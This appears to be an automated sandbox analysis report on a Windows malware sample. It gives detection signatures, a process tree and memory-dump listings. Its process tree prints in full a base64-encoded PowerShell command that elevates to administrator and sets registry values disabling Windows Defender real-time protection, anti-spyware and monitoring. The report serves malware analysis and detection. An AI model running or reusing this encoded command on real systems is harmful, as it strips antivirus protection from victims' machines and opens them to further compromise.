Analysis
- max time kernel
149s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
12/08/2026, 08:11
General
- Target 7i5uybx5iys6mqhu.exe
- Size 681KB
- Sample260812-j3a7qasbmd
- SHA256 95debd52b4eae5fbbc5d38ad6ccecc8aec35683426d29692c2207b30c98b2f6e
Score
10/10
Malware Config
Signatures
- Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\7i5uybx5iys6mqhu.exe"C:\Users\Admin\AppData\Local\Temp\7i5uybx5iys6mqhu.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc IwAgAHQAaABhAG4AawBzACAAdABvACAAaAB0AHQAcABzADoALwAvAHMAdQBwAGUAcgB1AHMAZQByAC4AYwBvAG0ALwBhAC8AMQA2ADQAOAAxADAANQANAAoAIwAjACMAIwAgAFMAVABBAFIAVAAgAEUATABFAFYAQQBUAEUAIABUAE8AIABBAEQATQBJAE4AIAAjACMAIwAjACMADQAKAFAAYQByAGEAbQAoAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAZgBhAGwAcwBlACkAXQBbAHMAdwBpAHQAYwBoAF0AJABzAGgAbwB1AGwAZABBAHMAcwB1AG0AZQBUAG8AQgBlAEUAbABlAHYAYQB0AGUAZAAsACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJABmAGEAbABzAGUAKQBdACAAWwBTAHQAcgBpAG4AZwBdACQAdwBvAHIAawBpAG4AZwBEAGkAcgBPAHYAZQByAHIAaQBkAGUAKQANAAoADQAKACMAIABJAGYAIABwAGEAcgBhAG0AZQB0AGUAcgAgAGkAcwAgAG4AbwB0ACAAcwBlAHQALAAgAHcAZQAgAGEAcgBlACAAcAByAG8AcABhAGIAbAB5ACAAaQBuACAAbgBvAG4ALQBhAGQAbQBpAG4AIABlAHgAZQBjAHUAdABpAG8AbgAuACAAVwBlACAAcwBlAHQAIABpAHQAIAB0AG8AIAB0AGgAZQAgAGMAdQByAHIAZQBuAHQAIAB3AG8AcgBrAGkAbgBnACAAZABpAHIAZQBjAHQAbwByAHkAIABzAG8AIAB0AGgAYQB0AA0ACgAjACAAIAB0AGgAZQAgAHcAbwByAGsAaQBuAGcAIABkAGkAcgBlAGMAdABvAHIAeQAgAG8AZgAgAHQAaABlACAAZQBsAGUAdgBhAHQAZQBkACAAZQB4AGUAYwB1AHQAaQBvAG4AIABvAGYAIAB0AGgAaQBzACAAcwBjAHIAaQBwAHQAIABpAHMAIAB0AGgAZQAgAGMAdQByAHIAZQBuAHQAIAB3AG8AcgBrAGkAbgBnACAAZABpAHIAZQBjAHQAbwByAHkADQAKAGkAZgAoAC0AbgBvAHQAKAAkAFAAUwBCAG8AdQBuAGQAUABhAHIAYQBtAGUAdABlAHIAcwAuAEMAbwBuAHQAYQBpAG4AcwBLAGUAeQAoACcAdwBvAHIAawBpAG4AZwBEAGkAcgBPAHYAZQByAHIAaQBkAGUAJwApACkAKQANAAoAewANAAoAIAAgACAAIAAkAHcAbwByAGsAaQBuAGcARABpAHIATwB2AGUAcgByAGkAZABlACAAPQAgACgARwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AKQAuAFAAYQB0AGgADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABUAGUAcwB0AC0AQQBkAG0AaQBuACAAewANAAoAIAAgACAAIAAkAGMAdQByAHIAZQBuAHQAVQBzAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsACAAJAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAEkAZABlAG4AdABpAHQAeQBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0ACgAKQApAA0ACgAgACAAIAAgACQAYwB1AHIAcgBlAG4AdABVAHMAZQByAC4ASQBzAEkAbgBSAG8AbABlACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAQgB1AGkAbAB0AGkAbgBSAG8AbABlAF0AOgA6AEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAKQANAAoAfQANAAoADQAKACMAIABJAGYAIAB3AGUAIABhAHIAZQAgAGkAbgAgAGEAIABuAG8AbgAtAGEAZABtAGkAbgAgAGUAeABlAGMAdQB0AGkAbwBuAC4AIABFAHgAZQBjAHUAdABlACAAdABoAGkAcwAgAHMAYwByAGkAcAB0ACAAYQBzACAAYQBkAG0AaQBuAA0ACgBpAGYAIAAoACgAVABlAHMAdAAtAEEAZABtAGkAbgApACAALQBlAHEAIAAkAGYAYQBsAHMAZQApACAAIAB7AA0ACgAgACAAIAAgAGkAZgAgACgAJABzAGgAbwB1AGwAZABBAHMAcwB1AG0AZQBUAG8AQgBlAEUAbABlAHYAYQB0AGUAZAApACAAewANAAoAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgBFAGwAZQB2AGEAdABpAG4AZwAgAGQAaQBkACAAbgBvAHQAIAB3AG8AcgBrACAAOgAoACIADQAKACAAIAAgACAAIAAgACAAIABlAHgAaQB0AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACMAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdgB2AHYAdgB2ACAAYQBkAGQAIABgAC0AbgBvAGUAeABpAHQAYAAgAGgAZQByAGUAIABmAG8AcgAgAGIAZQB0AHQAZQByACAAZABlAGIAdQBnAGcAaQBuAGcAIAB2AHYAdgB2AHYAIAANAAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAnAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAGYAaQBsAGUAIAAiAHsAMAB9ACIAIAAtAHMAaABvAHUAbABkAEEAcwBzAHUAbQBlAFQAbwBCAGUARQBsAGUAdgBhAHQAZQBkACAALQB3AG8AcgBrAGkAbgBnAEQAaQByAE8AdgBlAHIAcgBpAGQAZQAgACIAewAxAH0AIgAnACAALQBmACAAKAAkAG0AeQBpAG4AdgBvAGMAYQB0AGkAbwBuAC4ATQB5AEMAbwBtAG0AYQBuAGQALgBEAGUAZgBpAG4AaQB0AGkAbwBuACwAIAAiACQAdwBvAHIAawBpAG4AZwBEAGkAcgBPAHYAZQByAHIAaQBkAGUAIgApACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABlAHgAaQB0AA0ACgB9AA0ACgANAAoAUwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AIAAiACQAdwBvAHIAawBpAG4AZwBEAGkAcgBPAHYAZQByAHIAaQBkAGUAIgANAAoAIwAjACMAIwAjACAARQBOAEQAIABFAEwARQBWAEEAVABFACAAVABPACAAQQBEAE0ASQBOACAAIwAjACMAIwAjAA0ACgANAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAkAHcAbwByAGsAaQBuAGcARABpAHIATwB2AGUAcgByAGkAZABlAA0ACgANAAoAJABEAGUAZgBlAG4AZABlAHIAUABhAHQAaAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAPQAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACIADQAKAA0ACgAjACQAUABvAGwAaQBjAHkATQBhAG4AYQBnAGUAcgBLAGUAeQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAD0AIAAiAFAAbwBsAGkAYwB5ACAATQBhAG4AYQBnAGUAcgAiAA0ACgAkAFIAZQBhAGwAVABpAG0AZQBQAHIAbwB0AGUAYwB0AGkAbwBuAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA9ACAAIgBSAGUAYQBsAC0AVABpAG0AZQAgAFAAcgBvAHQAZQBjAHQAaQBvAG4AIgANAAoAJABTAGkAZwBuAGEAdAB1AHIAZQBVAHAAZABhAHQAZQBzAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAPQAgACIAUwBpAGcAbgBhAHQAdQByAGUAIABVAHAAZABhAHQAZQBzACIADQAKACQAUwBwAHkAbgBlAHQASwBlAHkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAD0AIAAiAFMAcAB5AG4AZQB0ACIADQAKAA0ACgAkAEEAbABsAG8AdwBGAGEAcwB0AFMAZQByAHYAaQBjAGUAUwB0AGEAcgB0AHUAcABWAGEAbAB1AGUAIAAgACAAIAAgACAAIAA9ACAAIgBBAGwAbABvAHcARgBhAHMAdABTAGUAcgB2AGkAYwBlAFMAdABhAHIAdAB1AHAAIgANAAoAJABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQBWAGEAbAB1AGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAPQAgACIARABpAHMAYQBiAGwAZQBBAG4AdABpAFMAcAB5AHcAYQByAGUAIgANAAoAJABEAGkAcwBhAGIAbABlAEEAbgB0AGkAVgBpAHIAdQBzAFYAYQBsAHUAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAPQAgACIARABpAHMAYQBiAGwAZQBBAG4AdABpAFYAaQByAHUAcwAiAA0ACgAkAEQAaQBzAGEAYgBsAGUAUgBvAHUAdABpAG4AZQBsAHkAVABhAGsAaQBuAGcAQQBjAHQAaQBvAG4AVgBhAGwAdQBlACAAIAA9ACAAIgBEAGkAcwBhAGIAbABlAFIAbwB1AHQAaQBuAGUAbAB5AFQAYQBrAGkAbgBnAEEAYwB0AGkAbwBuACIADQAKACQARABpAHMAYQBiAGwAZQBTAHAAZQBjAGkAYQBsAFIAdQBuAG4AaQBuAGcATQBvAGQAZQBzAFYAYQBsAHUAZQAgACAAIAAgAD0AIAAiAEQAaQBzAGEAYgBsAGUAUwBwAGUAYwBpAGEAbABSAHUAbgBuAGkAbgBnAE0AbwBkAGUAcwAiAA0ACgAkAFMAZQByAHYAaQBjAGUASwBlAGUAcABBAGwAaQB2AGUAVgBhAGwAdQBlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA9ACAAIgBTAGUAcgB2AGkAYwBlAEsAZQBlAHAAQQBsAGkAdgBlACIADQAKACQARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwBWAGEAbAB1AGUAIAAgACAAIAAgAD0AIAAiAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIgANAAoAJABEAGkAcwBhAGIAbABlAE8AbgBBAGMAYwBlAHMAcwBQAHIAbwB0AGUAYwB0AGkAbwBuAFYAYQBsAHUAZQAgACAAIAAgACAAPQAgACIARABpAHMAYQBiAGwAZQBPAG4AQQBjAGMAZQBzAHMAUAByAG8AdABlAGMAdABpAG8AbgAiAA0ACgAkAEQAaQBzAGEAYgBsAGUAUgBlAGEAbAB0AGkAbQBlAE0AbwBuAGkAdABvAHIAaQBuAGcAVgBhAGwAdQBlACAAIAAgACAAIAA9ACAAIgBEAGkAcwBhAGIAbABlAFIAZQBhAGwAdABpAG0AZQBNAG8AbgBpAHQAbwByAGkAbgBnACIADQAKACQARABpAHMAYQBiAGwAZQBTAGMAYQBuAE8AbgBSAGUAYQBsAHQAaQBtAGUARQBuAGEAYgBsAGUAVgBhAGwAdQBlACAAIAAgAD0AIAAiAEQAaQBzAGEAYgBsAGUAUwBjAGEAbgBPAG4AUgBlAGEAbAB0AGkAbQBlAEUAbgBhAGIAbABlACIADQAKACQARgBvAHIAYwBlAFUAcABkAGEAdABlAEYAcgBvAG0ATQBVAFYAYQBsAHUAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAD0AIAAiAEYAbwByAGMAZQBVAHAAZABhAHQAZQBGAHIAbwBtAE0AVQAiAA0ACgAkAEQAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgBWAGEAbAB1AGUAIAAgACAAIAAgACAAIAA9ACAAIgBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIgANAAoADQAKACQAVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIASQBzAEQAaQBzAGEAYgBsAGUAZABQAGUAcgBtAGEAbgBlAG4AdABsAHkAIAA9ACAAIgBXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBJAHMARABpAHMAYQBiAGwAZQBkAFAAZQByAG0AYQBuAGUAbgB0AGwAeQAiAA0ACgANAAoASQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAEQAZQBmAGUAbgBkAGUAcgBQAGEAdABoACkAIAB7AA0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAGgAbwBzAHQAIAAtAGYAIABHAHIAZQBlAG4AIAAiAEsAZQB5ACAARQB4AGkAcwB0AHMAIQAiAA0ACgB9AA0ACgBFAGwAcwBlACAAewANAAoAIAAgACAAIABXAHIAaQB0AGUALQBoAG8AcwB0ACAALQBmACAAWQBlAGwAbABvAHcAIAAiAEsAZQB5ACAAZABvAGUAcwBuACcAdAAgAEUAeABpAHMAdABzACEAIgANAAoAIAAgACAAIABlAHgAaQB0AA0ACgB9AA0ACgANAAoAJABJAHMAQQBsAGUAYQBkAHkARABpAHMAYQBiAGwAZQBkACAAPQAgAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiACQARABlAGYAZQBuAGQAZQByAFAAYQB0AGgAIgAgAC0ATgBhAG0AZQAgACIAJABXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBJAHMARABpAHMAYQBiAGwAZQBkAFAAZQByAG0AYQBuAGUAbgB0AGwAeQAiACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA0ACgBJAGYAKAAkAEkAcwBBAGwAZQBhAGQAeQBEAGkAcwBhAGIAbABlAGQAKQANAAoAewANAAoAIAAgACAAIABXAHIAaQB0AGUALQBFAHIAcgBvAHIAIAAiAFkAbwB1ACAAaABhAHYAZQAgAGEAbAByAGUAYQBkAHkAIABkAGkAcwBhAGIAbABlAGQAIAB3AGkAbgBkAG8AdwBzACAAZABlAGYAZQBuAGQAZQByACEAIgANAAoAIAAgACAAIABQAGEAdQBzAGUADQAKACAAIAAgACAAZQB4AGkAdAANAAoAfQANAAoADQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiACQARABlAGYAZQBuAGQAZQByAFAAYQB0AGgAIgAgAC0ATgBhAG0AZQAgACIAJABXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBJAHMARABpAHMAYQBiAGwAZQBkAFAAZQByAG0AYQBuAGUAbgB0AGwAeQAiACAALQBWAGEAbAB1AGUAIAAiADEAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAHcAbwByAGQADQAKAA0ACgAjAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIAJABEAGUAZgBlAG4AZABlAHIAUABhAHQAaABcACQAUABvAGwAaQBjAHkATQBhAG4AYQBnAGUAcgBLAGUAeQAiAA0ACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiACQARABlAGYAZQBuAGQAZQByAFAAYQB0AGgAXAAkAFIAZQBhAGwAVABpAG0AZQBQAHIAbwB0AGUAYwB0AGkAbwBuAEsAZQB5ACIADQAKAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIAJABEAGUAZgBlAG4AZABlAHIAUABhAHQAaABcACQAUwBpAGcAbgBhAHQAdQByAGUAVQBwAGQAYQB0AGUAcwBLAGUAeQAiAA0ACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiACQARABlAGYAZQBuAGQAZQByAFAAYQB0AGgAXAAkAFMAcAB5AG4AZQB0AEsAZQB5ACIADQAKAA0ACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgAkAEQAZQBmAGUAbgBkAGUAcgBQAGEAdABoACIAIAAtAE4AYQBtAGUAIAAiACQAQQBsAGwAbwB3AEYAYQBzAHQAUwBlAHIAdgBpAGMAZQBTAHQAYQByAHQAdQBwAFYAYQBsAHUAZQAiACAALQBWAGEAbAB1AGUAIAAiADEAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAHcAbwByAGQADQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiACQARABlAGYAZQBuAGQAZQByAFAAYQB0AGgAIgAgAC0ATgBhAG0AZQAgACIAJABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQBWAGEAbAB1AGUAIgAgAC0AVgBhAGwAdQBlACAAIgAxACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARAB3AG8AcgBkAA0ACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgAkAEQAZQBmAGUAbgBkAGUAcgBQAGEAdABoACIAIAAtAE4AYQBtAGUAIAAiACQARABpAHMAYQBiAGwAZQBBAG4AdABpAFYAaQByAHUAcwBWAGEAbAB1AGUAIgAgAC0AVgBhAGwAdQBlACAAIgAxACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARAB3AG8AcgBkAA0ACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgAkAEQAZQBmAGUAbgBkAGUAcgBQAGEAdABoACIAIAAtAE4AYQBtAGUAIAAiACQARABpAHMAYQBiAGwAZQBSAG8AdQB0AGkAbgBlAGwAeQBUAGEAawBpAG4AZwBBAGMAdABpAG8AbgBWAGEAbAB1AGUAIgAgAC0AVgBhAGwAdQBlACAAIgAxACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARAB3AG8AcgBkAA0ACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgAkAEQAZQBmAGUAbgBkAGUAcgBQAGEAdABoACIAIAAtAE4AYQBtAGUAIAAiACQARABpAHMAYQBiAGwAZQBTAHAAZQBjAGkAYQBsAFIAdQBuAG4AaQBuAGcATQBvAGQAZQBzAFYAYQBsAHUAZQAiACAALQBWAGEAbAB1AGUAIAAiADEAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAHcAbwByAGQADQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiACQARABlAGYAZQBuAGQAZQByAFAAYQB0AGgAIgAgAC0ATgBhAG0AZQAgACIAJABTAGUAcgB2AGkAYwBlAEsAZQBlAHAAQQBsAGkAdgBlAFYAYQBsAHUAZQAiACAALQBWAGEAbAB1AGUAIAAiADEAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAHcAbwByAGQADQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiACQARABlAGYAZQBuAGQAZQByAFAAYQB0AGgAIgAgAC0ATgBhAG0AZQAgACIAJABEAGkAcwBhAGIAbABlAFIAZQBhAGwAdABpAG0AZQBNAG8AbgBpAHQAbwByAGkAbgBnAFYAYQBsAHUAZQAiACAALQBWAGEAbAB1AGUAIAAiADEAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAHcAbwByAGQADQAKAA0ACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgAkAEQAZQBmAGUAbgBkAGUAcgBQAGEAdABoAFwAJABSAGUAYQBsAFQAaQBtAGUAUAByAG8AdABlAGMAdABpAG8AbgBLAGUAeQAiACAALQBOAGEAbQBlACAAIgAkAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAVgBhAGwAdQBlACIAIAAtAFYAYQBsAHUAZQAgACIAMQAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAdwBvAHIAZAANAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIAJABEAGUAZgBlAG4AZABlAHIAUABhAHQAaABcACQAUgBlAGEAbABUAGkAbQBlAFAAcgBvAHQAZQBjAHQAaQBvAG4ASwBlAHkAIgAgAC0ATgBhAG0AZQAgACIAJABEAGkAcwBhAGIAbABlAE8AbgBBAGMAYwBlAHMAcwBQAHIAbwB0AGUAYwB0AGkAbwBuAFYAYQBsAHUAZQAiACAALQBWAGEAbAB1AGUAIAAiADEAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAHcAbwByAGQADQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiACQARABlAGYAZQBuAGQAZQByAFAAYQB0AGgAXAAkAFIAZQBhAGwAVABpAG0AZQBQAHIAbwB0AGUAYwB0AGkAbwBuAEsAZQB5ACIAIAAtAE4AYQBtAGUAIAAiACQARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwBWAGEAbAB1AGUAIgAgAC0AVgBhAGwAdQBlACAAIgAxACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARAB3AG8AcgBkAA0ACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgAkAEQAZQBmAGUAbgBkAGUAcgBQAGEAdABoAFwAJABSAGUAYQBsAFQAaQBtAGUAUAByAG8AdABlAGMAdABpAG8AbgBLAGUAeQAiACAALQBOAGEAbQBlACAAIgAkAEQAaQBzAGEAYgBsAGUAUwBjAGEAbgBPAG4AUgBlAGEAbAB0AGkAbQBlAEUAbgBhAGIAbABlAFYAYQBsAHUAZQAiACAALQBWAGEAbAB1AGUAIAAiADEAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAHcAbwByAGQADQAKAA0ACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgAkAEQAZQBmAGUAbgBkAGUAcgBQAGEAdABoAFwAJABTAGkAZwBuAGEAdAB1AHIAZQBVAHAAZABhAHQAZQBzAEsAZQB5ACIAIAAtAE4AYQBtAGUAIAAiACQARgBvAHIAYwBlAFUAcABkAGEAdABlAEYAcgBvAG0ATQBVAFYAYQBsAHUAZQAiACAALQBWAGEAbAB1AGUAIAAiADEAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAHcAbwByAGQADQAKAA0ACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgAkAEQAZQBmAGUAbgBkAGUAcgBQAGEAdABoAFwAJABTAHAAeQBuAGUAdABLAGUAeQAiACAALQBOAGEAbQBlACAAIgAkAEQAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgBWAGEAbAB1AGUAIgAgAC0AVgBhAGwAdQBlACAAIgAxACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARAB3AG8AcgBkAA0ACgANAAoAUABhAHUAcwBlAA==2⤵
- Modifies Windows Defender Real-time Protection settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4716-1-0x00007FF99F5EF000-0x00007FF99F5F0000-memory.dmp
memory/4716-0-0x0000024CC50C0000-0x0000024CC516E000-memory.dmp
memory/4716-2-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4716-3-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4716-4-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4716-5-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4716-6-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4716-7-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4716-10-0x0000024CC6ED0000-0x0000024CC6ED8000-memory.dmp
memory/4716-11-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4716-12-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4716-13-0x0000024CC6EE0000-0x0000024CC6EEE000-memory.dmp
memory/4984-14-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4984-15-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4984-16-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4984-19-0x000002277CE50000-0x000002277CE72000-memory.dmp
memory/4984-20-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4984-21-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4984-22-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4984-23-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4984-24-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4984-25-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4984-26-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4984-28-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4984-29-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/4984-30-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp